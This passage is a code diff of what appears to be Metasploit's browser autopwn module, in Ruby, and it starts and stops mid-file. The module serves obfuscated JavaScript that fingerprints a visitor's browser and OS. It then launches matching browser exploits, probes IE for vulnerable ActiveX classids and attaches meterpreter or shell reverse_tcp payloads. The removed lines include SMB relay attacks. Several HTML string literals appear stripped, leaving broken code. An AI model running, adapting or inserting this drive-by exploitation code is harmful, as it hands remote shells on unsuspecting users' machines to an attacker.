+ m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
+ e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
+ framework.exploits.each_module do |name, mod|
+ if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
+ @exploits[name] = nil
+ print_line name
+ end
+ end
+ print_line
+ print_status("Found #{@exploits.length} exploit modules")
+ else
+ start_exploit_modules()
+ exploit()
+ end
+ end
+
+
+ def init_exploit(name, mod = nil, targ = 0)
+ if mod.nil?
+ @exploits[name] = framework.modules.create(name)
+ else
+ @exploits[name] = mod.new
+ end
+
case name
- when %r{exploit/windows}
+ when %r{windows}
payload='windows/meterpreter/reverse_tcp'
+ #payload='generic/debug_trap'
else
payload='generic/shell_reverse_tcp'
end
- @exploits[name] = framework.modules.create(name)
+ print_status("Starting exploit #{name} with payload #{payload}")
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
# For testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser.
- # XXX: Comment this out for release
- #@exploits[name].datastore['URIPATH'] = name
+ # XXX: Set to nil for release
+ #@exploits[name].datastore['URIPATH'] = nil
+ @exploits[name].datastore['URIPATH'] = name
- @exploits[name].datastore['LPORT'] = @lport
- @exploits[name].datastore['LHOST'] = @lhost
+ # set a random lport for each exploit. There's got to be a better way
+ # to do this but it's still better than incrementing it
+ @exploits[name].datastore['LPORT'] = rand(32768) + 32768
+ @exploits[name].datastore['LHOST'] = @lhost
@exploits[name].exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
@@ -76,428 +135,390 @@ class Metasploit3 < Msf::Auxiliary
'Payload' => payload,
'RunAsJob' => true)
- @lport += 1
+ # It takes a little time for the resources to get set up, so sleep for
+ # a bit to make sure the exploit is fully working. Without this,
+ # mod.get_resource doesn't exist when we need it.
+ Rex::ThreadSafe.sleep(0.5)
+ # Make sure this exploit got set up correctly, return false if it
+ # didn't
+ if framework.jobs[@exploits[name].job_id.to_s].nil?
+ print_error("Failed to start exploit module #{name}")
+ @exploits.delete(name)
+ return false
+ end
+ return true
end
- def setup()
- super
- @lport = datastore['LPORT'] || 4444
- @lhost = datastore['LHOST']
- @lport = @lport.to_i
+ def start_exploit_modules()
+ @lhost = (datastore['LHOST'] || "0.0.0.0")
+
+ @js_tests = {}
+ @noscript_tests = {}
+
+ print_line
print_status("Starting exploit modules on host #{@lhost}...")
+ print_status("---")
+ print_line
+ m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
+ e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
+ framework.exploits.each_module do |name, mod|
+ if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
+ next if !(init_exploit(name))
+ apo = mod.autopwn_opts
+ #p apo
+ apo[:name] = name
+ if apo[:classid]
+ # Then this is an IE exploit that uses an ActiveX control,
+ # build the appropriate tests for it.
+ method = apo[:vuln_test].dup
+ apo[:vuln_test] = ""
+ apo[:ua_name] = ::Msf::Auxiliary::Report::HttpClients::IE
+ if apo[:classid].kind_of?(Array) # then it's many classids
+ apo[:classid].each { |clsid|
+ apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n"
+ apo[:vuln_test] << " is_vuln = true;\n"
+ apo[:vuln_test] << "}\n"
+ }
+ else
+ apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n"
+ apo[:vuln_test] << " is_vuln = true;\n"
+ apo[:vuln_test] << "}\n"
+ end
+ end
+ if apo[:javascript] && apo[:ua_name]
+ if @js_tests[apo[:ua_name]].nil?
+ @js_tests[apo[:ua_name]] = []
+ end
+ @js_tests[apo[:ua_name]].push(apo)
+ elsif apo[:javascript]
+ if @js_tests["generic"].nil?
+ @js_tests["generic"] = []
+ end
+ @js_tests["generic"].push(apo)
+ elsif apo[:ua_name]
+ if @noscript_tests[apo[:ua_name]].nil?
+ @noscript_tests[apo[:ua_name]] = []
+ end
+ @noscript_tests[apo[:ua_name]].push(apo)
+ else
+ if @noscript_tests["generic"].nil?
+ @noscript_tests["generic"] = []
+ end
+ @noscript_tests["generic"].push(apo)
+ end
+ end
+ end
+ print_line
+ print_status("--- Done, found #{@exploits.length} exploit modules")
+ print_line
- ##
- # Start all the exploit modules
- ##
+ @js_tests.each { |browser,tests|
+ tests.sort! {|a,b| b[:rank] <=> a[:rank]}
+ }
+ @noscript_tests.each { |browser,tests|
+ tests.sort! {|a,b| b[:rank] <=> a[:rank]}
+ }
- # TODO: add an Automatic target to all of the Firefox exploits
+ init_js = ::Rex::Exploitation::ObfuscateJS.new
+ init_js << <<-ENDJS
- # Firefox < 1.0.5
- # requires javascript
- # currently only has a windows target
- init_exploit('exploit/multi/browser/mozilla_compareto')
+ #{js_os_detect}
+ #{js_base64}
+ function make_xhr() {
+ var xhr;
+ try {
+ xhr = new XMLHttpRequest();
+ } catch(e) {
+ try {
+ xhr = new ActiveXObject("Microsoft.XMLHTTP");
+ } catch(e) {
+ xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
+ }
+ }
+ if (! xhr) {
+ throw "failed to create XMLHttpRequest";
+ }
+ return xhr;
+ }
- # Firefox < 1.5.0.5
- # requires java
- # requires javascript
- # Has targets for Windows, Linux x86, MacOSX x86/PPC, no auto
- init_exploit('exploit/multi/browser/mozilla_navigatorjava')
+ function report_and_get_exploits(detected_version) {
+ var encoded_detection;
+ xhr = make_xhr();
+ xhr.onreadystatechange = function () {
+ if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
+ #{js_debug('"
" + htmlentities(xhr.responseText) + "
"')}
+ eval(xhr.responseText);
+ }
+ };
- # Firefox < 1.5.0.1
- # For now just use the default target of Mac.
- # requires javascript
- # Has targets for MacOSX PPC and Linux x86, no auto
- init_exploit('exploit/multi/browser/firefox_queryinterface')
+ encoded_detection = new String();
+ for (var prop in detected_version) {
+ #{js_debug('prop + " " + detected_version[prop]')}
+ encoded_detection += detected_version[prop] + ":";
+ }
+ #{js_debug('encoded_detection + " "')}
+ encoded_detection = Base64.encode(encoded_detection);
+ xhr.open("GET", document.location + "?sessid=" + encoded_detection);
+ xhr.send(null);
+ }
- # works on iPhone
- # does not require javascript
- init_exploit('exploit/osx/armle/safari_libtiff')
+ function bodyOnLoad() {
+ var detected_version = getVersion();
+ //#{js_debug('detected_version')}
+ report_and_get_exploits(detected_version);
+ } // function bodyOnLoad
+ ENDJS
- # untested
- #init_exploit('exploit/osx/browser/software_update')
- # untested
- #init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
+ opts = {
+ 'Symbols' => {
+ 'Variables' => [
+ 'xhr',
+ 'encoded_detection',
+ ],
+ 'Methods' => [
+ 'report_and_get_exploits',
+ 'handler',
+ 'bodyOnLoad',
+ ]
+ },
+ 'Strings' => true,
+ }
- # does not require javascript
- init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
+ init_js.update_opts(opts)
+ init_js.update_opts(js_os_detect.opts)
+ init_js.update_opts(js_base64.opts)
+ if (datastore['DEBUG'])
+ print_status("Adding debug code")
+ init_js << <<-ENDJS
+ if (!(typeof(debug) == 'function')) {
+ function htmlentities(str) {
+ str = str.replace(/>/g, '>');
+ str = str.replace(/\\n");
+ }
+ }
+ ENDJS
+ else
+ init_js.obfuscate()
+ end
- # requires javascript
- init_exploit('exploit/windows/browser/novelliprint_getdriversettings')
-
- # Works on default IE 6
- # Doesn't work on Windows 2000 SP0 IE 5.0
- # I'm pretty sure keyframe works on everything this works on, but since
- # this doesn't need javascript, try it anyway.
- # does not require javascript
- init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
-
- # requires javascript
- init_exploit('exploit/windows/browser/ie_createobject')
-
- # I'm pretty sure keyframe works on everything this works on and more,
- # so for now leave it out.
- # requires javascript
- # init_exploit('exploit/windows/browser/ms06_055_vml_method')
-
- # Works on default IE 5 and 6
- # requires javascript
- # ActiveXObject('DirectAnimation.PathControl')
- # classid D7A7D7C3-D47F-11D0-89D3-00A0C90833E6
- init_exploit('exploit/windows/browser/ms06_067_keyframe')
-
- # only works on IE with XML Core Services
- # requires javascript
- # classid 88d969c5-f192-11d4-a65f-0040963251e5
- init_exploit('exploit/windows/browser/ms06_071_xml_core')
-
- # Pops up whatever client is registered for .pls files. It's pretty
- # obvious to the user when this exploit loads, so leave it out for now.
- # does not require javascript
- #init_exploit('exploit/windows/browser/winamp_playlist_unc')
-
-
- # untested
- init_exploit('exploit/windows/browser/systemrequirementslab_unsafe')
- # untested
- init_exploit('exploit/windows/browser/lpviewer_url')
- # untested
- init_exploit('exploit/windows/browser/softartisans_getdrivename')
- # untested
- init_exploit('exploit/windows/browser/ms08_053_mediaencoder')
- # untested
- init_exploit('exploit/windows/browser/macrovision_unsafe')
-
-
- #
- # Requires UNC path which only seems to work on IE in my tests
- #
-
- # Launch a smb_relay module on port 139
- smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay')
- smbr_mod.datastore['LHOST'] = @lhost
- smbr_mod.datastore['LPORT'] = (@lport += 1)
- smbr_mod.datastore['SRVPORT'] = 139
- smbr_mod.datastore['AutoRunScript'] = 'migrate'
- smbr_mod.exploit_simple(
- 'LocalInput' => self.user_input,
- 'LocalOutput' => self.user_output,
- 'Target' => 0,
- 'Payload' => 'windows/meterpreter/reverse_tcp',
- 'RunAsJob' => true)
-
- # Launch a second one with port 445
- smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay')
- smbr_mod.datastore['LHOST'] = @lhost
- smbr_mod.datastore['LPORT'] = (@lport += 1)
- smbr_mod.datastore['SRVPORT'] = 445
- smbr_mod.datastore['AutoRunScript'] = 'migrate'
- smbr_mod.exploit_simple(
- 'LocalInput' => self.user_input,
- 'LocalOutput' => self.user_output,
- 'Target' => 0,
- 'Payload' => 'windows/meterpreter/reverse_tcp',
- 'RunAsJob' => true)
-
- @myhost = datastore['SRVHOST']
- @myport = datastore['SRVPORT']
+ init_js << "window.onload = #{init_js.sym("bodyOnLoad")}";
+ @init_html = " Loading \n"
+ @init_html << ' "
+ @init_html << " "
+ @init_html << " \n"
+ @init_html << " "
end
def on_request_uri(cli, request)
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
- # Create a cached mapping between IP and detected target
- @targetcache ||= {}
- @targetcache[cli.peerhost] ||= {}
- @targetcache[cli.peerhost][:update] = Time.now.to_i
-
- ##
- # Clean the cache -- remove hosts that we haven't seen for more than 60
- # seconds
- ##
- rmq = []
- @targetcache.each_key do |addr|
- if (Time.now.to_i > @targetcache[addr][:update]+60)
- rmq.push addr
- end
- end
- rmq.each {|addr| @targetcache.delete(addr) }
- #--
-
case request.uri
- when %r{^#{datastore['URIPATH']}.*sessid=}
- record_detection(cli, request)
- send_not_found(cli)
- when self.get_resource
- #
- # This is the request for exploits. At this point all we know
- # about the target came from the useragent string which could
- # have been spoofed, so let the javascript figure out which
- # exploits to run. Record detection based on the useragent in
- # case javascript is disabled on the target.
- #
-
- record_detection(cli, request)
- print_status("Responding with exploits")
-
- response = build_sploit_response(cli, request)
- response['Expires'] = '0'
- response['Cache-Control'] = 'must-revalidate'
-
- cli.send_response(response)
- else
- print_error("I don't know how to handle this request (#{request.uri}), sending 404")
- send_not_found(cli)
- return false
- end
- end
-
- def run
- exploit()
- end
-
- def build_sploit_response(cli, request)
- if (!@targetcache[cli.peerhost])
+ when self.get_resource
+ # This is the first request. Send the javascript fingerprinter and
+ # hope it sends us back some data. If it doesn't, javascript is
+ # disabled on the client and we will have to do a lot more
+ # guessing.
+ response = create_response()
+ response["Expires"] = "0"
+ response["Cache-Control"] = "must-revalidate"
+ response.body = @init_html
+ cli.send_response(response)
+ when %r{^#{self.get_resource}.*sessid=}
+ # This is the request for the exploit page when javascript is
+ # enabled. Includes the results of the javascript fingerprinting
+ # in the "sessid" parameter as a base64 encoded string.
record_detection(cli, request)
- end
+ print_status("Responding with exploits")
+ response = build_script_response(cli, request)
+ cli.send_response(response)
+ when %r{^#{self.get_resource}.*ns=1}
+ # This is the request for the exploit page when javascript is NOT
+ # enabled. Since scripting is disabled, fall back to useragent
+ # detection, which is kind of a bummer since it's so easy for the
+ # ua string to lie. It probably doesn't matter that much because
+ # most of our exploits require javascript anyway.
+ print_status("Browser has javascript disabled, trying exploits that don't need it")
+ record_detection(cli, request)
+ response = build_noscript_response(cli, request)
+
+ cli.send_response(response)
+ else
+ print_error("I don't know how to handle this request (#{request.uri}), sending 404")
+ send_not_found(cli)
+ return false
+ end
+ end
+
+ def build_noscript_response(cli, request)
+ client_db = get_client(cli.peerhost, request['User-Agent'])
+
response = create_response()
+ response['Expires'] = '0'
+ response['Cache-Control'] = 'must-revalidate'
- objects = []
+ response.body = " Loading "
+ response.body << " "
- objects += [
- [ 'DirectAnimation.PathControl', 'KeyFrame', exploit_resource('exploit/windows/browser/ms06_067_keyframe') ],
- [ 'LPViewer.LPViewer.1', 'URL', exploit_resource('exploit/windows/browser/lpviewer_url') ],
- [ '{88D969C5-F192-11D4-A65F-0040963251E5}', 'SetRequestHeader', exploit_resource('exploit/windows/browser/ms06_071_xml_core') ],
- [ '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}', 'GetDriverSettings', exploit_resource('exploit/windows/browser/novelliprint_getdriversettings') ],
- [ '{BD96C556-65A3-11D0-983A-00C04FC29E36}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{BD96C556-65A3-11D0-983A-00C04FC29E30}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{6414512B-B978-451D-A0D8-FCFDF33E833C}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{06723E09-F4C2-43C8-8358-09FCD1DB0766}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{639F725F-1B2D-4831-A9FD-874847682010}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{BA018599-1DB3-44F9-83B4-461454C84BF8}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{E8CCCDDF-CA28-496B-B050-6C07C962476B}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{0006F033-0000-0000-C000-000000000046}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{0006F03A-0000-0000-C000-000000000046}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ],
- [ '{67A5F8DC-1A4B-4D66-9F24-A704AD929EEE}', 'Init', exploit_resource('exploit/windows/browser/systemrequirementslab_unsafe') ],
- [ '{A8D3AD02-7508-4004-B2E9-AD33F087F43C}', 'GetDetailsString', exploit_resource('exploit/windows/browser/ms08_053_mediaencoder') ],
- ]
- objects = objects.map{ |arr| "new Array('#{arr[0]}', '#{arr[1]}', '#{arr[2]}')," }.join("\n").chop
+ @noscript_tests.each { |browser, sploits|
+ next if sploits.length == 0
+ # If get_client failed then we have no knowledge of this host,
+ # don't assume anything about the browser. If ua_name is nil or
+ # generic, these exploits need to be sent regardless of browser.
+ # Either way, we need to send these exploits.
+ if (client_db.nil? || [nil, browser, "generic"].include?(client_db[:ua_name]))
+ if (HttpClients::IE == browser)
+ response.body << "\n"
+ end
+ end
+ }
- js = <<-ENDJS
- var DEBUGGING = false;
+ response.body << "Your mom "
+ response.body << " "
- #{js_os_detect}
- #{js_base64}
- if (!(typeof(debug)== 'function')) {
- function debug(msg) {
- if (DEBUGGING) {
- document.writeln(msg);
- }
- }
- }
+ return response
+ end
- function send_detection_report(detected_version) {
- // ten chars long and all uppercase so we can't possibly step
- // on a real version string.
- var cruft = "#{Rex::Text.rand_text_alpha_upper(10)}";
- var encoded_detection;
- try { xmlhr = new XMLHttpRequest(); }
- catch(e) {
- try { xmlhr = new ActiveXObject("Microsoft.XMLHTTP"); }
- catch(e) {
- xmlhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
- }
- }
- if (! xmlhr) {
- return(0);
- }
- encoded_detection = new String();
- encoded_detection += detected_version.os_name + cruft;
- encoded_detection += detected_version.os_flavor + cruft;
- encoded_detection += detected_version.os_sp + cruft;
- encoded_detection += detected_version.os_lang + cruft;
- encoded_detection += detected_version.arch + cruft;
- encoded_detection += detected_version.browser_name + cruft;
- encoded_detection += detected_version.browser_version;
- while (-1 != encoded_detection.indexOf(cruft)) {
- encoded_detection = encoded_detection.replace(cruft, ":");
- }
- //debug(encoded_detection + " ");
- encoded_detection = Base64.encode(encoded_detection);
- //debug(encoded_detection + " ");
- xmlhr.open("GET", document.location + "?sessid=" + encoded_detection, false);
- xmlhr.send(null);
- }
+ def build_script_response(cli, request)
+ response = create_response()
+ response['Expires'] = '0'
+ response['Cache-Control'] = 'must-revalidate'
- function BodyOnLoad() {
- var sploit_frame = '';
- var body_elem = document.getElementById('body_id');
- var detected_version = getVersion();
+ client_db = get_client(cli.peerhost, request['User-Agent'])
+ p client_db
+ p get_host({:host => cli.peerhost})
- try {
- // This function doesn't seem to get created on old
- // browsers (specifically, Firefox 1.0), so until I
- // can puzzle out why, wrap it in a try block so the
- // javascript parser doesn't crap out and die before
- // any exploits get sent.
- send_detection_report(detected_version);
- } catch (e) {}
-
- if ("#{HttpClients::IE}" == detected_version.browser_name) {
- //debug("This is IE ");
- var object_list = new Array(#{objects});
- var vuln_obj;
- var written_frames = new Array();
-
- // iterate through our list of exploits
- debug("I have " + object_list.length + " objects to test ");
- for (var current_object in object_list) {
- debug("Testing for object " + current_object + " ... ");
- // Don't write the same iframe more than once. This is
- // only an issue with ie_createobject which uses a ton of
- // different classids to perform the same exploit.
- // Assumes that no url will be a substring of another url.
- if (-1 != written_frames.toString().indexOf(object_list[current_object][2])) {
- debug("Already wrote an iframe for " + object_list[current_object][0] +" ");
- continue;
+ js = ::Rex::Exploitation::ObfuscateJS.new
+ # If we didn't get a client database, then the detection is
+ # borked or the db is not connected, so fallback to sending
+ # some IE-specific stuff with everything. Otherwise, make
+ # sure this is IE before sending code for ActiveX checks.
+ #if (client_db.nil? || client_db[:ua_name] == HttpClients::IE)
+ if (client_db.nil? || [nil, HttpClients::IE].include?(client_db[:ua_name]))
+ # If we have a class name (e.g.: "DirectAnimation.PathControl"),
+ # use the simple and direct "new ActiveXObject()". If we
+ # have a classid instead, first try creating a the object
+ # with createElement("object"). However, some things
+ # don't like being created this way (specifically winzip),
+ # so try writing out an object tag as well. One of these
+ # two methods should succeed if the object with the given
+ # classid can be created.
+ js << <<-ENDJS
+ function testAXO(axo_name, method) {
+ if (axo_name.substring(0,1) == String.fromCharCode(123)) {
+ axobj = document.createElement("object");
+ axobj.setAttribute("classid", "clsid:" + axo_name);
+ axobj.setAttribute("id", axo_name);
+ axobj.setAttribute("style", "visibility: hidden");
+ axobj.setAttribute("width", "0px");
+ axobj.setAttribute("height", "0px");
+ document.body.appendChild(axobj);
+ if (typeof(axobj[method]) == 'undefined') {
+ var attributes = 'id="' + axo_name + '"';
+ attributes += ' classid="clsid:' + axo_name + '"';
+ attributes += ' style="visibility: hidden"';
+ attributes += ' width="0px" height="0px"';
+ document.body.innerHTML += "";
+ axobj = document.getElementById(axo_name);
}
- vuln_obj = '';
- if (object_list[current_object][0].substring(0,1) == '{') {
- var name = object_list[current_object][0].substring( 1, object_list[current_object][0].length - 1 );
- //debug("which is a classid ");
-
- // classids are stored surrounded in braces for an easy way to tell
- // them from ActiveX object names, so if it has braces, strip them
- // out and create an object element with that classid
- vuln_obj = document.createElement("object");
- vuln_obj.setAttribute("classid", "clsid:" + name);
-
- vuln_obj.setAttribute("id", name);
- } else {
- // otherwise, try to create an AXO with that name
- try {
- vuln_obj = new ActiveXObject(object_list[current_object][0]);
- } catch(e){
- vuln_obj = '';
- }
- debug("did ActiveXObject("+ object_list[current_object][0] +") and i got a "+ typeof(vuln_obj) +" ");
- }
- // javascript lets us access method names like array
- // elements, so obj.foo is the same as obj['foo']
- // However, ActiveX objects created with an
- //